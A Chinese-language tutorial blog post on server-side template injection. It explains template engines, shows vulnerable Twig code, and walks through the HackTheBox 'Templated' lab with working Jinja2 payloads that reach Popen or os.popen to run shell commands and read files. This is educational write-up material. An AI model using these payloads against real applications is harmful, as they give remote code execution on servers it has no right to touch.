网络安全漏洞原理利用与渗透

云平台

  模板引擎(Web开发中)

  是为了使 用户界面和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器,呈现在用户面前

  当前的主流框架,一般都采用MVC模式,即:Model-View-Controller,用户的输入先进入Controller控制器,然后根据清流类型和请求的指令发送给对应的Model业务模型,由Model层进行业务逻辑的判断、数据库的存取等,最后把结果返回给View视图层,再经模板引擎的渲染展示给用户

  模板引擎的基本机理就是替换(转换):将指定的标签转换为需要的业务数据;将指定的伪语句按照某种流程来变换输出

  【一一帮助安全学习,所有资源我,私信回复“资料”获取一一】

  ①网络安全学习路线

  ②20份渗透测试电子书

  ③安全攻防357页笔记

  ④50份安全攻防面试指南

  ⑤安全红队渗透工具包

  ⑥网络安全必备书籍

  ⑦100个漏洞实战案例

  ⑧安全大厂内部视频资源

  引用一段代码来简单说一下:

  // 模板var template = '<p>Hello,my name is <%name%>.I am <%age%> years old.</p>';// 用于匹配的正则/* 用于过滤出以<%开头,%>结尾,并且中间不包含%或>的匹配项 其目的在于过滤出template中的 <%name%> 和 <%age%>*/var regex = /<%([^%]+)?%>/g;// 数据var data ={ name:'Deutsh', age:22}// 模板引擎var TemplateEngine = function (template,data){ // exec使用全局正则表达式意味着在循环中使用,因为它仍然会检索所有匹配的子表达式 // /regex/.exec()仅返回找到的第一个匹配项 while (match = regex.exec(template)) { template = template.replace(match[0],data[match[1]]) } return template;}// 最终的执行在此处var string = TemplateEngine(template,data)console.log(string)上述代码,我们的目的是:将数据文件中对应的name和age替换到模板文件中

  主要的执行在模板引擎的while函数中,match = regex.exec(template)会返回一个array,这个数组中包含了连个项目

  ⚠️ 为什么会包含两项呢:当正则表达式设置 g 标志位时,可以多次执行 exec 方法来查找同一个字符串中的成功匹配

  之后template = template.replace(match[0],data[match[1]])等同于template = template.replace("<%name%>",data["name"])完成模板中数据的替换

  SSTI(模板注入)Server-Side Template Injection

  由前面模板代码安利的演示,我们可以发现,若服务端接受了用户的输入后(比如对于上述案例,data的name和age的数据由数据的输入/提交/请求而得),未经任何处理就将其作为Web应用模板内容的一部分,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句,从而可能导致信息泄露、代码执行等问题

  凡是使用模板的地方,SSTI是绕不过的问题,模板引擎可由多种语言实现,所以SSTI也就出现在了多种语言环境中

  模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

  常见的模板引擎

  PHPTwig模板变量:{{%s}}

  Smarty模板变量:{%s}

  Blade模板变量:{{%s}}

  PythonJinja2模板变量:{{%s}}

  Tornado模板变量:{{%s}}

  Django模板变量:{{ }}

  JavaFreeMarker模板变量:<#%s>``${%s}

  Velocity模板变量:#set($x=1+1)${x}

  模板引擎众多,各个模板引擎的语法也不尽相同,我们最主要的是能定位出是否存在SSTI漏洞,至于后续的利用,我们掌握一些,其余的见到再查即可

  如何测试是否存在SSTI

  简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI

  此处我们拿来bmjoker师傅提供的一段示例代码

  Twig模板引擎示例代码

  <?phprequire_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';Twig_Autoloader::register(true); // Twig_Loader_Array 用于定位模板 内置的加载器 // Twig_Environment 来存储配置信息 内置的环境变量$twig = new Twig_Environment(new Twig_Loader_String()); // rer() 方法通过其第一个参数载入模板,**并通过第二个参数中的变量来渲染模板**!!重要!! // 模版含有 {{name}} 变量,其模版变量值来自于GET请求参数$_GET["name"]$output = $twig->rer("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值echo $output;?>这段代码中,由于模板引擎一般都会默认对渲染的变量值进行编码和转义。所以一般情况下并不会存在XSS等攻击的可能

  若就如我们最开始的例子所说,若模板引擎渲染的内容受我们控制了,就不一定了

  // 上述代码基本内容不变,$output后的内容发生变化$output=$twig->rer("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分此时rer函数由于缺少第二个参数,所以直接就会把"Hello 用户的输入"拼如模板进行渲染,这就相当于改变了最初的模板,由于模板最初是由开发者定义的,所以他会受到“信任”

  对于Twig模板的变量{{%s}}除了传递变量外,还可以执行表达式,最简单的表达式就是{{2*2}},这也是辨认是否存在SSTI最基本的指纹,若我们输入{{2*2}},HTML页面返回其其结果4,就说明该表达式被解析,存在SSTI

  HackTheBox–Templated

  我们以HTB上的一个靶场来演示一下该漏洞的判断与利用

  首先我们在浏览器中打开所给的IP:Port

  题目直接提示我们本体使用的模板引擎为**Jinja2**,根据我们之前总结的各个模板引擎的变量类型,我们可以知道该变量的类型是 {{%s}},所以话不多说我们直接拼接尝试

  payload

  ={{2 * 2}}

  2*2被计算,确认存在SSTI模板注入

  exp

  本题的重点还是在利用方面:由于我们的目标是读取处于服务器本地的一个存有Flag的文件,所以我们的重点是找到一个含有某种读取文件的函数的类(Python中),我们通过查阅手册发现可以利用Popen函数完成该功能,调用该函数会返回一个文件的句柄,然后再配合read()函数读取即可

  该函数会执行fork一个子进程执行command这个命令,同时将子进程的标准输出通过管道连接到父进程,对于文件在父进程调用read()读取即可,对于命令在父进程会被执行

  那么下面的重点就是,如何找到Popen这个函数所属的类,一般有两种方法,我们先说第一种

  由于我们想要找的是一个子类,所以第一步即使找到其对象基类 即class 'object',为了达到这步,我们可以使用__mro__属性来访问对象的继承类,但我们目前没有对象,所以这里我们就构造一个空字符串:

  {{"".__class__.__mro__}}其中__class__用于返回调用的参数类型

  可以看出该子类继承自class'str'与class 'object'并以一个元组返回,我们通过索引获得对象类

  {{"".__class__.__mro__[1]}}

  接下来,我们要列举出所有集成自object的子类,通过对该对象调用__subclasses__方法

  {{"".__class__.__mro__[1].__subclasses__()}}

  但这有一个明显的缺点就是,好家伙,这么多子类,怎么可能找得到,为了缩小范围我们对其进行切片

  {{"".__class__.__mro__[1].__subclasses__()[400:]}}查找400个以后的元素

  成功定位其位置,处于滴414号位置

  {{"".__class__.__mro__[1].__subclasses__()[414]}}

  然后我们为该函数传递参数调用即可

  {{"".__class__.__mro__[1].__subclasses__()[414]("ls",shell=True,stdout=-1).communicate()}}

  查看本地文件,发现flag.txt

  Popen.communicate()

  与进程交互:将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾

  之后我们直接cat他就看见啦~~~~

  {{"".__class__.__mro__[1].__subclasses__()[414]("cat flag.txt",shell=True,stdout=-1).communicate()}}

  Python中常用的一些魔术方法

  __dict__:保存类实例或对象实例的属性变量键值对字典__class__:返回调用的参数类型__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类__bases__:返回类型列表 寻找基类__subclasses__:返回object的子类__init__:类的初始化方法__globals__:函数会以字典类型返回当前位置的全部全局变量 与func_globals等价exp2

  这里我们还有一种方法,使用全局下的内置模块引用__builtins__(指向__builtin__)

  在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存

  {{"".__class__.__bases__[0].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']("os").popen("cat flag.txt").read()}}

  同样,我们获取基本类后,继续向下获取基本类(object)的子类,然后init初始化类,globals全局来查找所有的方法及变量和参数并查看其内建模块的引用

  使用内建模块中的__import__引入os库,并适用其中的popen函数读取flag.txt即可

  注意:

  该exp中,对子类的选择subclasses()[1500]时,经测试大多数子类中都包含内建模块的引用,但依旧有不少不包含,要注意

  我们使用burp将子类的选择加为参数进行爆破

  遍历出(以下截图中Payload的子类号都可以引用,具有**__builtins__**)

  以下为不可以使用的(由此可看出号往大了写就对了~)

标签: 云平台